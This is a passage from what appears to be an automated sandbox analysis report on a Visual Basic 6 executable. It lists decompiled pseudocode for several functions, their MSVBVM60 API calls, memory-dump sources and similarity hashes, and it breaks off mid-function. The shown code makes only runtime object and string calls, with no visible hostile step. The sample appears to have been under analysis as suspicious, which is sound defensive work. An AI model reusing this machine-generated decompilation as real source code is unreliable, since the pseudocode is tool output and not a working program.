                    • API ID: __vba$Free$CheckHresult$ChkstkNew2$CallCopyLateList_adj_fdiv_m64
                    • String ID: Spherulitize
                    • API String ID: 506408821-3937725628
                    • Opcode ID: b5c2618638126fe8707bf334d5ad00d70792587b624ced095885696837c6eb24
                    • Instruction ID: a0c64d33f36fb1568a33e3a4fabf961488a33b38aad2de313e4db1b4189ab83c
                    • Opcode Fuzzy Hash: b5c2618638126fe8707bf334d5ad00d70792587b624ced095885696837c6eb24
                    • Instruction Fuzzy Hash: 9471F270900208EFCB00EFA1DD49BEDBBB9BF48704F14486AF541BB2A1C7795991DB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 56%
                    			E00416828(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				void* _v28;
                    				void* _v32;
                    				signed int _v36;
                    				char _v40;
                    				intOrPtr _v48;
                    				intOrPtr _v56;
                    				void* _v60;
                    				signed int _v64;
                    				intOrPtr* _v68;
                    				signed int _v72;
                    				intOrPtr _v84;
                    				intOrPtr* _v88;
                    				signed int _v92;
                    				intOrPtr* _v96;
                    				signed int _v100;
                    				signed int _v104;
                    				intOrPtr* _v108;
                    				signed int _v112;
                    				signed int _v116;
                    				char* _t107;
                    				signed int _t110;
                    				signed int _t120;
                    				signed int _t125;
                    				signed int _t126;
                    				signed int _t132;
                    				signed int _t137;
                    				void* _t158;
                    				void* _t160;
                    				intOrPtr _t161;
                    
                    				_t161 = _t160 - 0xc;
                    				 *[fs:0x0] = _t161;
                    				L004014B0();
                    				_v16 = _t161;
                    				_v12 = 0x401348;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x5c,  *[fs:0x0], 0x4014b6, _t158);
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v88 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v88 = 0x419010;
                    				}
                    				_t107 =  &_v40;
                    				L0040169C();
                    				_v60 = _t107;
                    				_t110 =  *((intOrPtr*)( *_v60 + 0x1d8))(_v60, _t107,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x2fc))( *_v88));
                    				asm("fclex");
                    				_v64 = _t110;
                    				if(_v64 >= 0) {
                    					_v92 = _v92 & 0x00000000;
                    				} else {
                    					_push(0x1d8);
                    					_push(0x411324);
                    					_push(_v60);
                    					_push(_v64);
                    					L00401690();
                    					_v92 = _t110;
                    				}
                    				L0040168A();
                    				_push(0x4115f8);
                    				L00401594();
                    				_push(_t110);
                    				L0040159A();
                    				L00401648();
                    				_push(_t110);
                    				_push(0x411424);
                    				L0040164E();
                    				asm("sbb eax, eax");
                    				_v60 =  ~( ~( ~_t110));
                    				L0040165A();
                    				if(_v60 != 0) {
                    					if( *0x41931c != 0) {
                    						_v96 = 0x41931c;
                    					} else {
                    						_push(0x41931c);
                    						_push(0x41137c);
                    						L00401696();
                    						_v96 = 0x41931c;
                    					}
                    					_v60 =  *_v96;
                    					_t132 =  *((intOrPtr*)( *_v60 + 0x4c))(_v60,  &_v40);
                    					asm("fclex");
                    					_v64 = _t132;
                    					if(_v64 >= 0) {
                    						_v100 = _v100 & 0x00000000;
                    					} else {
                    						_push(0x4c);
                    						_push(0x41136c);
                    						_push(_v60);
                    						_push(_v64);
                    						L00401690();
                    						_v100 = _t132;
                    					}
                    					_v68 = _v40;
                    					_v48 = 1;
                    					_v56 = 2;
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					_t137 =  *((intOrPtr*)( *_v68 + 0x2c))(_v68, 0x10);
                    					asm("fclex");
                    					_v72 = _t137;
                    					if(_v72 >= 0) {
                    						_v104 = _v104 & 0x00000000;
                    					} else {
                    						_push(0x2c);
                    						_push(0x411574);
                    						_push(_v68);
                    						_push(_v72);
                    						L00401690();
                    						_v104 = _t137;
                    					}
                    					L0040168A();
                    				}
                    				if( *0x41931c != 0) {
                    					_v108 = 0x41931c;
                    				} else {
                    					_push(0x41931c);
                    					_push(0x41137c);
                    					L00401696();
                    					_v108 = 0x41931c;
                    				}
                    				_v60 =  *_v108;
                    				_t120 =  *((intOrPtr*)( *_v60 + 0x14))(_v60,  &_v40);
                    				asm("fclex");
                    				_v64 = _t120;
                    				if(_v64 >= 0) {
                    					_v112 = _v112 & 0x00000000;
                    				} else {
                    					_push(0x14);
                    					_push(0x41136c);
                    					_push(_v60);
                    					_push(_v64);
                    					L00401690();
                    					_v112 = _t120;
                    				}
                    				_v68 = _v40;
                    				_t125 =  *((intOrPtr*)( *_v68 + 0xd8))(_v68,  &_v36);
                    				asm("fclex");
                    				_v72 = _t125;
                    				if(_v72 >= 0) {
                    					_v116 = _v116 & 0x00000000;
                    				} else {
                    					_push(0xd8);
                    					_push(0x4114f4);
                    					_push(_v68);
                    					_push(_v72);
                    					L00401690();
                    					_v116 = _t125;
                    				}
                    				_t126 = _v36;
                    				_v84 = _t126;
                    				_v36 = _v36 & 0x00000000;
                    				L00401648();
                    				L0040168A();
                    				_push(0x416aee);
                    				L0040165A();
                    				L0040165A();
                    				return _t126;
                    			}



































                    0x0041682b
                    0x0041683a
                    0x00416844
                    0x0041684c
                    0x0041684f
                    0x00416856
                    0x00416865
                    0x0041686e
                    0x0041687a
                    0x00416894
                    0x0041687c
                    0x0041687c
                    0x00416881
                    0x00416886
                    0x0041688b
                    0x0041688b
                    0x004168af
                    0x004168b3
                    0x004168b8
                    0x004168c3
                    0x004168c9
                    0x004168cb
                    0x004168d2
                    0x004168ee
                    0x004168d4
                    0x004168d4
                    0x004168d9
                    0x004168de
                    0x004168e1
                    0x004168e4
                    0x004168e9
                    0x004168e9
                    0x004168f5
                    0x004168fa
                    0x004168ff
                    0x00416904
                    0x00416905
                    0x0041690f
                    0x00416914
                    0x00416915
                    0x0041691a
                    0x00416921
                    0x00416927
                    0x0041692e
                    0x00416939
                    0x00416946
                    0x00416960
                    0x00416948
                    0x00416948
                    0x0041694d
                    0x00416952
                    0x00416957
                    0x00416957
                    0x0041696c
                    0x0041697b
                    0x0041697e
                    0x00416980
                    0x00416987
                    0x004169a0
                    0x00416989
                    0x00416989
                    0x0041698b
                    0x00416990
                    0x00416993
                    0x00416996
                    0x0041699b
                    0x0041699b
                    0x004169a7
                    0x004169aa
                    0x004169b1
                    0x004169bb
                    0x004169c5
                    0x004169c6
                    0x004169c7
                    0x004169c8
                    0x004169d1
                    0x004169d4
                    0x004169d6
                    0x004169dd
                    0x004169f6
                    0x004169df
                    0x004169df
                    0x004169e1
                    0x004169e6
                    0x004169e9
                    0x004169ec
                    0x004169f1
                    0x004169f1
                    0x004169fd
                    0x004169fd
                    0x00416a09
                    0x00416a23
                    0x00416a0b
                    0x00416a0b
                    0x00416a10
                    0x00416a15
                    0x00416a1a
                    0x00416a1a
                    0x00416a2f
                    0x00416a3e
                    0x00416a41
                    0x00416a43
                    0x00416a4a
                    0x00416a63
                    0x00416a4c
                    0x00416a4c
                    0x00416a4e
                    0x00416a53
                    0x00416a56
                    0x00416a59
                    0x00416a5e
                    0x00416a5e
                    0x00416a6a
                    0x00416a79
                    0x00416a7f
                    0x00416a81
                    0x00416a88
                    0x00416aa4
                    0x00416a8a
                    0x00416a8a
                    0x00416a8f
                    0x00416a94
                    0x00416a97
                    0x00416a9a
                    0x00416a9f
                    0x00416a9f
                    0x00416aa8
                    0x00416aab
                    0x00416aae
                    0x00416ab8
                    0x00416ac0
                    0x00416ac5
                    0x00416ae0
                    0x00416ae8
                    0x00416aed

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00416844
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041686E
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416886
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 004168B3
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000001D8), ref: 004168E4
                    • __vbaFreeObj.MSVBVM60(00000000,?,00411324,000001D8), ref: 004168F5
                    • __vbaI4Str.MSVBVM60(004115F8), ref: 004168FF
                    • #537.MSVBVM60(00000000,004115F8), ref: 00416905
                    • __vbaStrMove.MSVBVM60(00000000,004115F8), ref: 0041690F
                    • __vbaStrCmp.MSVBVM60(00411424,00000000,00000000,004115F8), ref: 0041691A
                    • __vbaFreeStr.MSVBVM60(00411424,00000000,00000000,004115F8), ref: 0041692E
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,00411424,00000000,00000000,004115F8), ref: 00416952
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,0000004C), ref: 00416996
                    • __vbaChkstk.MSVBVM60(00000000,?,0041136C,0000004C), ref: 004169BB
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411574,0000002C), ref: 004169EC
                    • __vbaFreeObj.MSVBVM60(00000000,?,00411574,0000002C), ref: 004169FD
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,00411424,00000000,00000000,004115F8), ref: 00416A15
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00416A59
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,000000D8), ref: 00416A9A
                    • __vbaStrMove.MSVBVM60(00000000,?,004114F4,000000D8), ref: 00416AB8
                    • __vbaFreeObj.MSVBVM60(00000000,?,004114F4,000000D8), ref: 00416AC0
                    • __vbaFreeStr.MSVBVM60(00416AEE), ref: 00416AE0
                    • __vbaFreeStr.MSVBVM60(00416AEE), ref: 00416AE8
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresult$New2$ChkstkMove$#537Copy
                    • String ID:
                    • API String ID: 1605330434-0
                    • Opcode ID: b9ca8c12bb26809517b50f20899a5f8d911ee3690253c7187dcb6454ad85d121
                    • Instruction ID: 44ed79008a480ce5e5f9887151e99901900fb08a923c0ea508fc403212c3e8aa
                    • Opcode Fuzzy Hash: b9ca8c12bb26809517b50f20899a5f8d911ee3690253c7187dcb6454ad85d121
                    • Instruction Fuzzy Hash: 4E81B070D00208EFDB00EFA5D945BDDBBB5AF08708F20852AF501BB2A1DB799985DF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 53%
                    			E004160CA(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a28) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				short _v24;
                    				void* _v28;
                    				char _v32;
                    				char _v36;
                    				char _v52;
                    				char _v68;
                    				char _v84;
                    				void* _v104;
                    				void* _v108;
                    				signed int _v112;
                    				intOrPtr* _v120;
                    				signed int _v124;
                    				intOrPtr* _v128;
                    				signed int _v132;
                    				intOrPtr* _v136;
                    				signed int _v140;
                    				char* _t81;
                    				signed int _t84;
                    				char* _t88;
                    				signed int _t91;
                    				char* _t94;
                    				short _t98;
                    				char* _t106;
                    				signed int _t110;
                    				short _t111;
                    				intOrPtr _t134;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t134;
                    				_push(0x78);
                    				L004014B0();
                    				_v12 = _t134;
                    				_v8 = 0x401310;
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v120 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v120 = 0x419010;
                    				}
                    				_t81 =  &_v36;
                    				L0040169C();
                    				_v108 = _t81;
                    				_t84 =  *((intOrPtr*)( *_v108 + 0x22c))(_v108, _t81,  *((intOrPtr*)( *((intOrPtr*)( *_v120)) + 0x31c))( *_v120));
                    				asm("fclex");
                    				_v112 = _t84;
                    				if(_v112 >= 0) {
                    					_v124 = _v124 & 0x00000000;
                    				} else {
                    					_push(0x22c);
                    					_push(0x4115a8);
                    					_push(_v108);
                    					_push(_v112);
                    					L00401690();
                    					_v124 = _t84;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v128 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v128 = 0x419010;
                    				}
                    				_t88 =  &_v36;
                    				L0040169C();
                    				_v108 = _t88;
                    				_t91 =  *((intOrPtr*)( *_v108 + 0x1e8))(_v108, _t88,  *((intOrPtr*)( *((intOrPtr*)( *_v128)) + 0x384))( *_v128));
                    				asm("fclex");
                    				_v112 = _t91;
                    				if(_v112 >= 0) {
                    					_v132 = _v132 & 0x00000000;
                    				} else {
                    					_push(0x1e8);
                    					_push(0x4113f0);
                    					_push(_v108);
                    					_push(_v112);
                    					L00401690();
                    					_v132 = _t91;
                    				}
                    				L0040168A();
                    				_push( &_v52);
                    				L0040167E();
                    				_push( &_v52);
                    				_t94 =  &_v32;
                    				_push(_t94);
                    				L004015B8();
                    				_push(_t94);
                    				_push( &_v68);
                    				L004015BE();
                    				_push( &_v84);
                    				L0040167E();
                    				_push( &_v68);
                    				_t98 =  &_v84;
                    				_push(_t98);
                    				L00401678();
                    				_v108 = _t98;
                    				L0040165A();
                    				_push( &_v84);
                    				_push( &_v68);
                    				_push( &_v52);
                    				_push(3);
                    				L00401666();
                    				if(_v108 != 0) {
                    					L004015B2();
                    				}
                    				if( *0x419010 != 0) {
                    					_v136 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v136 = 0x419010;
                    				}
                    				_t106 =  &_v36;
                    				L0040169C();
                    				_v108 = _t106;
                    				_t110 =  *((intOrPtr*)( *_v108 + 0x180))(_v108,  &_v104, _t106,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x38c))( *_v136));
                    				asm("fclex");
                    				_v112 = _t110;
                    				if(_v112 >= 0) {
                    					_v140 = _v140 & 0x00000000;
                    				} else {
                    					_push(0x180);
                    					_push(0x4115b8);
                    					_push(_v108);
                    					_push(_v112);
                    					L00401690();
                    					_v140 = _t110;
                    				}
                    				_t111 = _v104;
                    				_v24 = _t111;
                    				L0040168A();
                    				_push(0x416355);
                    				L0040165A();
                    				return _t111;
                    			}































                    0x004160cf
                    0x004160da
                    0x004160db
                    0x004160e2
                    0x004160e5
                    0x004160ed
                    0x004160f0
                    0x004160fd
                    0x00416109
                    0x00416123
                    0x0041610b
                    0x0041610b
                    0x00416110
                    0x00416115
                    0x0041611a
                    0x0041611a
                    0x0041613e
                    0x00416142
                    0x00416147
                    0x00416152
                    0x00416158
                    0x0041615a
                    0x00416161
                    0x0041617d
                    0x00416163
                    0x00416163
                    0x00416168
                    0x0041616d
                    0x00416170
                    0x00416173
                    0x00416178
                    0x00416178
                    0x00416184
                    0x00416190
                    0x004161aa
                    0x00416192
                    0x00416192
                    0x00416197
                    0x0041619c
                    0x004161a1
                    0x004161a1
                    0x004161c5
                    0x004161c9
                    0x004161ce
                    0x004161d9
                    0x004161df
                    0x004161e1
                    0x004161e8
                    0x00416204
                    0x004161ea
                    0x004161ea
                    0x004161ef
                    0x004161f4
                    0x004161f7
                    0x004161fa
                    0x004161ff
                    0x004161ff
                    0x0041620b
                    0x00416213
                    0x00416214
                    0x0041621c
                    0x0041621d
                    0x00416220
                    0x00416221
                    0x00416226
                    0x0041622a
                    0x0041622b
                    0x00416233
                    0x00416234
                    0x0041623c
                    0x0041623d
                    0x00416240
                    0x00416241
                    0x00416246
                    0x0041624d
                    0x00416255
                    0x00416259
                    0x0041625d
                    0x0041625e
                    0x00416260
                    0x0041626e
                    0x00416270
                    0x00416270
                    0x0041627c
                    0x00416299
                    0x0041627e
                    0x0041627e
                    0x00416283
                    0x00416288
                    0x0041628d
                    0x0041628d
                    0x004162bd
                    0x004162c1
                    0x004162c6
                    0x004162d5
                    0x004162db
                    0x004162dd
                    0x004162e4
                    0x00416303
                    0x004162e6
                    0x004162e6
                    0x004162eb
                    0x004162f0
                    0x004162f3
                    0x004162f6
                    0x004162fb
                    0x004162fb
                    0x0041630a
                    0x0041630e
                    0x00416315
                    0x0041631a
                    0x0041634f
                    0x00416354

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 004160E5
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004160FD
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416115
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00416142
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004115A8,0000022C), ref: 00416173
                    • __vbaFreeObj.MSVBVM60(00000000,?,004115A8,0000022C), ref: 00416184
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 0041619C
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 004161C9
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001E8), ref: 004161FA
                    • __vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001E8), ref: 0041620B
                    • #610.MSVBVM60(?), ref: 00416214
                    • __vbaStrVarVal.MSVBVM60(?,?,?), ref: 00416221
                    • #540.MSVBVM60(?,00000000,?,?,?), ref: 0041622B
                    • #610.MSVBVM60(?,?,00000000,?,?,?), ref: 00416234
                    • __vbaVarTstNe.MSVBVM60(?,?,?,?,00000000,?,?,?), ref: 00416241
                    • __vbaFreeStr.MSVBVM60(?,?,?,?,00000000,?,?,?), ref: 0041624D
                    • __vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,?,?,?,00000000,?,?,?), ref: 00416260
                    • __vbaEnd.MSVBVM60 ref: 00416270
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00416288
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 004162C1
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004115B8,00000180), ref: 004162F6
                    • __vbaFreeObj.MSVBVM60(00000000,?,004115B8,00000180), ref: 00416315
                    • __vbaFreeStr.MSVBVM60(00416355), ref: 0041634F
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresultNew2$#610$#540ChkstkCopyList
                    • String ID:
                    • API String ID: 3831833640-0
                    • Opcode ID: e3b31a4568c9ca16653429460e280d9763af9a05f85af5827f3625b6a84f38b5
                    • Instruction ID: 8bed04a1a7b95c2befa906c0806ee8a3b39593308fd5ac3aa1b628332fc60f93
                    • Opcode Fuzzy Hash: e3b31a4568c9ca16653429460e280d9763af9a05f85af5827f3625b6a84f38b5
                    • Instruction Fuzzy Hash: 8471C471900208AFCB10EFE1CC55FEEBBB8BB08304F14456AE515AB2A1DB799985DF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 52%
                    			E00415391(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a16) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				void* _v24;
                    				short _v28;
                    				char _v32;
                    				intOrPtr _v40;
                    				intOrPtr _v48;
                    				void* _v52;
                    				intOrPtr* _v56;
                    				signed int _v60;
                    				intOrPtr* _v64;
                    				signed int _v68;
                    				intOrPtr* _v76;
                    				signed int _v80;
                    				signed int _v84;
                    				intOrPtr* _v88;
                    				signed int _v92;
                    				intOrPtr* _v96;
                    				signed int _v100;
                    				signed int _t86;
                    				signed int _t91;
                    				char* _t96;
                    				signed int _t100;
                    				char* _t104;
                    				signed int _t108;
                    				intOrPtr _t131;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t131;
                    				_push(0x50);
                    				L004014B0();
                    				_v12 = _t131;
                    				_v8 = 0x401298;
                    				L00401684();
                    				if( *0x41931c != 0) {
                    					_v76 = 0x41931c;
                    				} else {
                    					_push(0x41931c);
                    					_push(0x41137c);
                    					L00401696();
                    					_v76 = 0x41931c;
                    				}
                    				_v56 =  *_v76;
                    				_t86 =  *((intOrPtr*)( *_v56 + 0x14))(_v56,  &_v32);
                    				asm("fclex");
                    				_v60 = _t86;
                    				if(_v60 >= 0) {
                    					_v80 = _v80 & 0x00000000;
                    				} else {
                    					_push(0x14);
                    					_push(0x41136c);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v80 = _t86;
                    				}
                    				_v64 = _v32;
                    				_t91 =  *((intOrPtr*)( *_v64 + 0x108))(_v64,  &_v52);
                    				asm("fclex");
                    				_v68 = _t91;
                    				if(_v68 >= 0) {
                    					_v84 = _v84 & 0x00000000;
                    				} else {
                    					_push(0x108);
                    					_push(0x4114f4);
                    					_push(_v64);
                    					_push(_v68);
                    					L00401690();
                    					_v84 = _t91;
                    				}
                    				_v28 = _v52;
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v88 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v88 = 0x419010;
                    				}
                    				_t96 =  &_v32;
                    				L0040169C();
                    				_v56 = _t96;
                    				_v40 = 0x80020004;
                    				_v48 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t100 =  *((intOrPtr*)( *_v56 + 0x1ec))(_v56, L"Behovsanalysens", 0x10, _t96,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x384))( *_v88));
                    				asm("fclex");
                    				_v60 = _t100;
                    				if(_v60 >= 0) {
                    					_v92 = _v92 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x4113f0);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v92 = _t100;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v96 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v96 = 0x419010;
                    				}
                    				_t104 =  &_v32;
                    				L0040169C();
                    				_v56 = _t104;
                    				_v40 = 0x80020004;
                    				_v48 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t108 =  *((intOrPtr*)( *_v56 + 0x1ec))(_v56, L"OSCINIDAE", 0x10, _t104,  *((intOrPtr*)( *((intOrPtr*)( *_v96)) + 0x370))( *_v96));
                    				asm("fclex");
                    				_v60 = _t108;
                    				if(_v60 >= 0) {
                    					_v100 = _v100 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x411498);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v100 = _t108;
                    				}
                    				L0040168A();
                    				_push(0x4155ee);
                    				L0040165A();
                    				return _t108;
                    			}





























                    0x00415396
                    0x004153a1
                    0x004153a2
                    0x004153a9
                    0x004153ac
                    0x004153b4
                    0x004153b7
                    0x004153c4
                    0x004153d0
                    0x004153ea
                    0x004153d2
                    0x004153d2
                    0x004153d7
                    0x004153dc
                    0x004153e1
                    0x004153e1
                    0x004153f6
                    0x00415405
                    0x00415408
                    0x0041540a
                    0x00415411
                    0x0041542a
                    0x00415413
                    0x00415413
                    0x00415415
                    0x0041541a
                    0x0041541d
                    0x00415420
                    0x00415425
                    0x00415425
                    0x00415431
                    0x00415440
                    0x00415446
                    0x00415448
                    0x0041544f
                    0x0041546b
                    0x00415451
                    0x00415451
                    0x00415456
                    0x0041545b
                    0x0041545e
                    0x00415461
                    0x00415466
                    0x00415466
                    0x00415473
                    0x0041547a
                    0x00415486
                    0x004154a0
                    0x00415488
                    0x00415488
                    0x0041548d
                    0x00415492
                    0x00415497
                    0x00415497
                    0x004154bb
                    0x004154bf
                    0x004154c4
                    0x004154c7
                    0x004154ce
                    0x004154d8
                    0x004154e2
                    0x004154e3
                    0x004154e4
                    0x004154e5
                    0x004154f3
                    0x004154f9
                    0x004154fb
                    0x00415502
                    0x0041551e
                    0x00415504
                    0x00415504
                    0x00415509
                    0x0041550e
                    0x00415511
                    0x00415514
                    0x00415519
                    0x00415519
                    0x00415525
                    0x00415531
                    0x0041554b
                    0x00415533
                    0x00415533
                    0x00415538
                    0x0041553d
                    0x00415542
                    0x00415542
                    0x00415566
                    0x0041556a
                    0x0041556f
                    0x00415572
                    0x00415579
                    0x00415583
                    0x0041558d
                    0x0041558e
                    0x0041558f
                    0x00415590
                    0x0041559e
                    0x004155a4
                    0x004155a6
                    0x004155ad
                    0x004155c9
                    0x004155af
                    0x004155af
                    0x004155b4
                    0x004155b9
                    0x004155bc
                    0x004155bf
                    0x004155c4
                    0x004155c4
                    0x004155d0
                    0x004155d5
                    0x004155e8
                    0x004155ed

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 004153AC
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004153C4
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,004014B6), ref: 004153DC
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00415420
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,00000108), ref: 00415461
                    • __vbaFreeObj.MSVBVM60 ref: 0041547A
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415492
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 004154BF
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 004154D8
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00415514
                    • __vbaFreeObj.MSVBVM60 ref: 00415525
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 0041553D
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041556A
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00415583
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,000001EC), ref: 004155BF
                    • __vbaFreeObj.MSVBVM60 ref: 004155D0
                    • __vbaFreeStr.MSVBVM60(004155EE), ref: 004155E8
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$CheckFreeHresult$ChkstkNew2$Copy
                    • String ID: Behovsanalysens$OSCINIDAE
                    • API String ID: 948179728-4127510829
                    • Opcode ID: 146066771d62514a853cd3e7c60d8a2b1605904cc08912862b3e568063526fcd
                    • Instruction ID: ddf093a428b15ade611a93a25c2ccab98beb295ae91530024ffaed5bf3a97487
                    • Opcode Fuzzy Hash: 146066771d62514a853cd3e7c60d8a2b1605904cc08912862b3e568063526fcd
                    • Instruction Fuzzy Hash: 0C71D274D00608EFCB00EFE4D885BEDBBB6AF08305F20442AF511BB2A1C7B95985DB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 61%
                    			E00415727(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				void* _v28;
                    				void* _v32;
                    				char _v36;
                    				char _v40;
                    				signed int _v44;
                    				char _v48;
                    				char _v52;
                    				char _v68;
                    				char* _v92;
                    				char _v100;
                    				intOrPtr _v108;
                    				char _v116;
                    				void* _v120;
                    				signed int _v124;
                    				intOrPtr* _v128;
                    				signed int _v132;
                    				intOrPtr* _v136;
                    				signed int _v140;
                    				signed int _v152;
                    				intOrPtr* _v156;
                    				signed int _v160;
                    				intOrPtr* _v164;
                    				signed int _v168;
                    				signed int _v172;
                    				short _t90;
                    				char* _t91;
                    				char* _t95;
                    				signed int _t99;
                    				signed int _t105;
                    				signed int _t110;
                    				void* _t130;
                    				void* _t132;
                    				intOrPtr _t133;
                    
                    				_t133 = _t132 - 0xc;
                    				 *[fs:0x0] = _t133;
                    				L004014B0();
                    				_v16 = _t133;
                    				_v12 = 0x4012b8;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t130);
                    				L00401684();
                    				L00401684();
                    				_v92 =  &_v36;
                    				_v100 = 0x4008;
                    				_push( &_v100);
                    				_push( &_v68);
                    				L004015CA();
                    				_v108 = 0x411550;
                    				_v116 = 0x8008;
                    				_push( &_v68);
                    				_t90 =  &_v116;
                    				_push(_t90);
                    				L00401678();
                    				_v120 = _t90;
                    				L00401636();
                    				_t91 = _v120;
                    				if(_t91 != 0) {
                    					if( *0x419010 != 0) {
                    						_v156 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v156 = 0x419010;
                    					}
                    					_t95 =  &_v48;
                    					L0040169C();
                    					_v120 = _t95;
                    					_t99 =  *((intOrPtr*)( *_v120 + 0x48))(_v120,  &_v40, _t95,  *((intOrPtr*)( *((intOrPtr*)( *_v156)) + 0x308))( *_v156));
                    					asm("fclex");
                    					_v124 = _t99;
                    					if(_v124 >= 0) {
